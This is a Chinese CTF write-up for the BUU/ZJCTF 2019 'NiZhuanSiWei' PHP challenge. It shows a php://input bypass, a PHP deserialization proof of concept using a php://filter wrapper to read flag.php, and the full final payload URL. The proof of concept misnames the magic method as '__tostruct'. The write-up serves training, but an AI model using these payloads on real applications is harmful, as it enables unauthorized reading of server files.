zoukankan      html  css  js  c++  java
  • BUU-Web-[ZJCTF 2019]NiZhuanSiWei

    题目如下,源码里可以看到有三个文件,index.php,useless.php,flag.php,我们需要的就是flag.php

    这里要传入三个参数,text,file,password

    text的检测

    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";

    绕过姿势:/?text=php://input,然后post内容为:welcome to the zjctf

    file:匹配file中有没有有flag字符串,这里就可以直接用useless.php

    最后password是个反序列化,这里就想到构造序列化,并且读取flag.php的内容

    由于file里不能有flag.php,就不能读取flag.php的内容,所以只能通过password写入伪协议读取flag.php

    这里贴个现成的POC:

    <?php 
    class Flag{
         public $file="php://filter/convert.base64-encode/resource=flag.php";
         public function __tostruct(){
             if(isset($this->file)){
                 echo file_get_contents($this->file);
             }
         }
     }
     $o = new Flag();
     echo serialize($o);

    最后的payload就是:?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
    POST值为welcome to the zjctf


    关于文件包含漏洞大家可以看看这篇文章:https://blog.csdn.net/qq_42181428/article/details/87090539

    然后还给出一道同样的题目,大家可以检验下阅读成果:BugkuCTF的welcome to bugkuctfhttps://ctf.bugku.com/challenges

  • 相关阅读:
    oracle中 connect by prior 递归算法
    sql优化__rownum的使用【转】
    ASP.NET Core四大部件
    .net core Socket
    .NET Core 配置文件
    .NET Core IOC AOP
    Quartz.Net—MisFire
    Quartz.Net—配置化
    Quartz.Net—IJob特性
    Quartz.Net—DateBuilder
  • 原文地址:https://www.cnblogs.com/Web-Fresher/p/13551594.html
Copyright © 2011-2022 走看看